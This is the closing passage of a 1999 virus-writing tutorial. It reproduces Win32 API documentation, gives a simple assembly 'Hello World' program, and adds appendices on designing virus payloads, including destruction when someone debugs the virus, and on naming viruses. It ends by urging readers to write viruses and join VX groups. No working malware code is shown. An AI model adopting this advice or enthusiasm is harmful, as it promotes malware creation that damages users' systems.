  LPCSTR lpProcName   // name of function 
 ); 
 
 - Parameters

 . hModule

 Identifies  the DLL module  that contains  the function. The  LoadLibrary or
 GetModuleHandle function returns this handle.

 . lpProcName

 Points to a null-terminated string containing da function name, or specifies
 the function's ordinal value. If this parameter is an ordinal value, it must
 be in the low-order word; the high-order word must be zero.

 . Return Values

 A. If the  function succeeds, the return  value is the  address of the DLL's
 exported function.

 B. If the  function fails, the  return value  is NULL. To get extended error
 information, call GetLastError.

 Well, probably the most interesting API of all :P

 + GetModuleHandle(A/W)

 The GetModuleHandle function returns a module handle for da specified module
 if the  file has been  mapped into the address space of the calling process.

 HMODULE GetModuleHandle(
  LPCTSTR lpModuleName       // address of module name to return handle for  
 ); 

 - Parameters

 . lpModuleName

 Points to a null-terminated string that  names a Win32 module (either a .DLL
 or .EXE file). If the  filename  extension is  omitted, the  default library
 extension .DLL is appended. The filename string can include a trailing point
 character (.) to indicate  that the module name has no extension. The string
 does not have  to specify  a path. The name is compared (case independently)
 to the names  of modules  currently mapped  into  the  address  space of the
 calling process.

 If this parameter is NULL, GetModuleHandle returns a handle of the file used
 to create the calling process.

 . Return Values

 A. If the function  succeeds, the return  value is a handle to the specified
 module.

 B. If the  function fails, the  return value is NULL. To get  extended error
 information, call GetLastError.

 + FindFirst(A/W)

 Da FindFirstFile function searches a directory for a file whose name matches
 the specified filename. FindFirstFile examines subdirectory names as well as
 filenames.

 HANDLE FindFirstFile(
  LPCTSTR lpFileName,        // pointer to name of file to search for  
  LPWIN32_FIND_DATA lpFindFileData    // pointer to returned information 
 ); 
 
 - Parameters

 . lpFileName

 A. Windows 95: Points  to a null-terminated  string that  specifies  a valid
 directory  or path and filename, which  can contain  wildcard characters ( *
 and ? ). This string must not exceed MAX_PATH characters.

 B. Windows NT: Points  to a null-terminated  string that  specifies  a valid
 directory or  path and  filename, which can  contain  wildcard characters (*
 and ?).

 There is  a default string size limit for paths of MAX_PATH characters. This
 limit  is  related  to  how  the  FindFirstFile  function  parses  paths. An
 application  can transcend this limit and send in paths longer than MAX_PATH
 characters by calling  the wide (W) version  of FindFirstFile and prepending
 "\\?\" to  the path. The "\\?\" tells the function to turn off path parsing;
 it lets paths longer  than MAX_PATH be  used  with FindFirstFileW. This also
 works with UNC names. The "\\?\" is ignored as part of the path. For example
 "\\?\C:\myworld\private" is seen as "C:\myworld\private", and "
 \\?\UNC\bill_g_1\hotstuff\coolapps"is seen as "\\bill_g_1\hotstuff\coolapps"

 . lpFindFileData

 Points to  the WIN32_FIND_DATA structure that receives information about the
 found file or subdirectory. The structure can be used in subsequent calls to
 the FindNextFile or FindClose function to refer to the file or subdirectory.

 . Return Values

 A. If the  function succeeds,  the return value is a search handle used in a
 subsequent call to FindNextFile or FindClose.

 B. If the  function fails, the  return value is INVALID_HANDLE_VALUE. To get
 extended error information, call GetLastError.

 + FindNext(A/W)

 The FindNextFile function continues a file search from a previous call to da
 FindFirstFile function.

 BOOL FindNextFile(
  HANDLE hFindFile,   // handle to search  
  LPWIN32_FIND_DATA lpFindFileData    // pointer to structure for data on
                                      // found file
 ); 
 
 - Parameters

 . hFindFile
 
 Identifies a search handle  returned by a previous call to the FindFirstFile
 function.

 . lpFindFileData

 Points to the WIN32_FIND_DATA structure  that receives information about the
 found file or subdirectory. The structure can be used in subsequent calls to
 FindNextFile to refer to the found file or directory.

 . Return Values

 A. If the function succeeds, the return value is nonzero.

 B. If the function  fails, the return  value  is zero. To get extended error
 information, call GetLastError

 C. If  no matching files  can  be found, the  GetLastError function  returns
 ERROR_NO_MORE_FILES.

 [** WIN32_FIND_DATA **]

 typedef struct _WIN32_FIND_DATA { // wfd  
  DWORD dwFileAttributes; 
  FILETIME ftCreationTime; 
  FILETIME ftLastAccessTime;
  FILETIME ftLastWriteTime;
  DWORD    nFileSizeHigh; 
  DWORD    nFileSizeLow; 
  DWORD    dwReserved0; 
  DWORD    dwReserved1; 
  TCHAR    cFileName[ MAX_PATH ]; 
  TCHAR    cAlternateFileName[ 14 ]; 
 } WIN32_FIND_DATA; 

 - Members

 . dwFileAttributes

 Specifies the  file attributes  of the file found. This member can be one or
 more of  the following  values [ Not enough space for include them here: you
 have them at 29A INC files ( 29A#2 ) and the document said before.

 . ftCreationTime

 Specifies a FILETIME  structure containing  the  time  the file was created.
 FindFirstFile and  FindNextFile report  file  times in Coordinated Universal
 Time (UTC) format.  These functions  set the FILETIME members to zero if the
 file  system containing  the file does not support this time member. You can
 use the FileTimeToLocalFileTime  function to convert from UTC to local time,
 and then use  the FileTimeToSystemTime function to convert the local time to
 a SYSTEMTIME structure  containing individual  members  for  the month, day,
 year, weekday, hour, minute, second, and millisecond.

 . ftLastAccessTime

 Specifies  a FILETIME structure  containing  the time that the file was last
 accessed. The time is  in UTC format; the FILETIME  members  are zero if the
 file system does not support this time member.

 . ftLastWriteTime

 Specifies a  FILETIME structure  containing  the time that the file was last
 written to. The time is  in UTC format; the FILETIME members are zero if the
 file system does not support this time member.

 . nFileSizeHigh

 Specifies the  high-order DWORD value of the file size, in bytes. This value
 is zero unless the file size  is greater than MAXDWORD. The size of the file
 is equal to (nFileSizeHigh * MAXDWORD) + nFileSizeLow.

 . nFileSizeLow

 Specifies the low-order DWORD value of the file size, in bytes.

 . dwReserved0

 Reserved for future use. 

 . dwReserved1

 Reserved for future use. 

 . cFileName

 A null-terminated string that is the name of the file. 

 . cAlternateFileName

 A null-terminated string that is an alternative name for the file. This name
 is in the classic 8.3 (filename.ext) filename format.

 Another interesting apis could be GetFileAttributes(A/W), SetFileAttributes
 (A/W), CreateProcess, CreateFile(A/W), VirtualAlloc, CreateFileMapping(A/W),
 SetEnfOfFile, etc.

 ---

 Well, there're a lot  of times equivalences between the functions we used in
 DOS and an API. Search for them ;)

 Let's continue  with the typical example  we always try to do when we have a
 new language: the "Hello world!" :)

 % Hello World in Win32 %
 ------------------------

 It's very  easy. We must use the "MessageBoxA" API, so we define it with the
 already  known "extrn" command,  and then  push the parameters  and call the
 said API. Note  that  the strings must  be ASCIIZ ( ASCII,0 ). Remember that
 the parameters must be pushed. 

 .386                                           ; Processor ( must be
 .model         flat                            ; Uses 32 bit registers

 extrn          ExitProcess:proc                ; The APIs it uses
 extrn          MessageBoxA:proc

 .data
 szMessage       db      "Hello World!",0
 szTitle         db      "Windows coding - lame example",0

 .code                                          ; Here we go!

 HelloWorld:
                push    large 0
                push    offset szTitle
                push    offset szMessage
                push    large 0
                call    MessageBoxA

                push    large 0
                call    ExitProcess

 end HelloWorld

 As  you can see, it's very simple to code. Maybe not  as easy as the same in
 16 bit enviroments, but really  simple if you think about all the advantages
 that the 32 bits  brings to us. Well, as this is  a Virus Writing  Guide for
 people that  is starting  in virus coding, i think it's time to stop. If you
 want to know more about this matter, you will  have to wait for the tutorial
 i am developing now: Virus Writing Guide 1.00 for Win32. Sounds cool huh? :)

---| Appendix 2 : Payloads |-------------------------------------------------

 You must work in your payload, because it'll be the only thing that the user
 will see of your virus. A payload that only trash da HD, or wipe files isn't
 original, and it denotes  that the user can't do better things. If you wanna
 destroy, your  work isn't in  the virus  scene: the trojans are very easy to
 code so dedicate your efforts to the trojan developement <g>

 I'm not saying that i refuse all kinds of destruction. But it must be reser-
 ved for special moments, like  if someone is  trying do  debug the  virus or
 something. I think  that isn't good to make other people the things we don't
 want happen to us.

 You  have  good  examples  of  originality  in viruses like Elvira, Cascade,
 Claudia Schiffer ( hehehe ;), Ambulance...

---| Appendix 3 : Naming your viruses |--------------------------------------

 Well, we  know  how to  make viruses :) But, what about naming them?. I read
 some time ago  a very  interesting article, done  by Rajaat, when  he was in
 IR/G, and  published in IR#8. That article  was very cool, because it showed
 the way for make the AV to call your virus as you want it to be called. Well
 as i don't want to  put here the whole  article, and as i gave credit to its
 original author, i think  it's okay to make a brief description of the basic
 ideas that Rajaat gave us.

 - Show in the payload the name of the virus only, not the author's name.

 - Don't use very complex names

 - Don't use ppl's names

 - Don't show in  the messages inside  the virus special interest in call the
 virus in a determinated way (Ex: Bizatch per Boza...)

---| Last words |------------------------------------------------------------

 You can think  that write this  document was a  pain for me. No, i've really
 enjoyed the time i've used to write this little tutorial. I hope you enjoyed
 its read :)

 My objective  was to  make a complete tutorial, beginning at the runtime com
 infection, and  talking about  some  cool techniques  like polymorphism  and
 tunneling. I made this with the objective of teach  some people, and, at the
 same time teach myself  about a lot of things. Now, it's your time, not mine
 Remember  where did  you learn :) And now, after reading, understanding, and
 experimenting, you're  ready to  make very  good  viruses, and, if you want,
 write articles for a virus related magazine, or to be in a VX group :)

 After saying goodbye, i must send greets to some people, da ones that helped
 me  and the ones  i admire. As I  said in my  presentation, this tutorial is
 highly dedicated to zAxOn ( hehehe... i wrote your nick in da rite way ;) da
 one that received all my telephone calls for questions like " How i can copy
 a file? ", or " What  is this program... the PKZIP? " in my earlier steps in
 the computing world. He listened with a good attitude all my projects,dreams
 and else. It's good to have friends like him :)

 This  document is also  dedicated  to this  people that make big efforts for
 teach the people that is interested in VX, with dreams of fame <g> and else.
 It's a way for assure the future of the virus scene... VX FOREVER!

 Of course, i must make a special mention to Dark Angel, Dark Avenger, GriYo,
 b0z0, Owl,  StarZer0,  Neurobasher,  Vecna, Qark,  Quantum,  Int13h, Murkry,
 Jacky Qwerty, Darkman, Super, and all da people who rocked and still rocking
 the world making this little misunderstood  forms of life, automatas, always
 labeled as bad things. You know what ignorance does.

 PS: This tutorial is my humble tribute to that OS, that lived between all us
 since some centuries ago, called MS-DOS. RIP.

 Valencia, 29 of January, 1999.

 Billy Belcebu, 
 mass killer and ass kicker.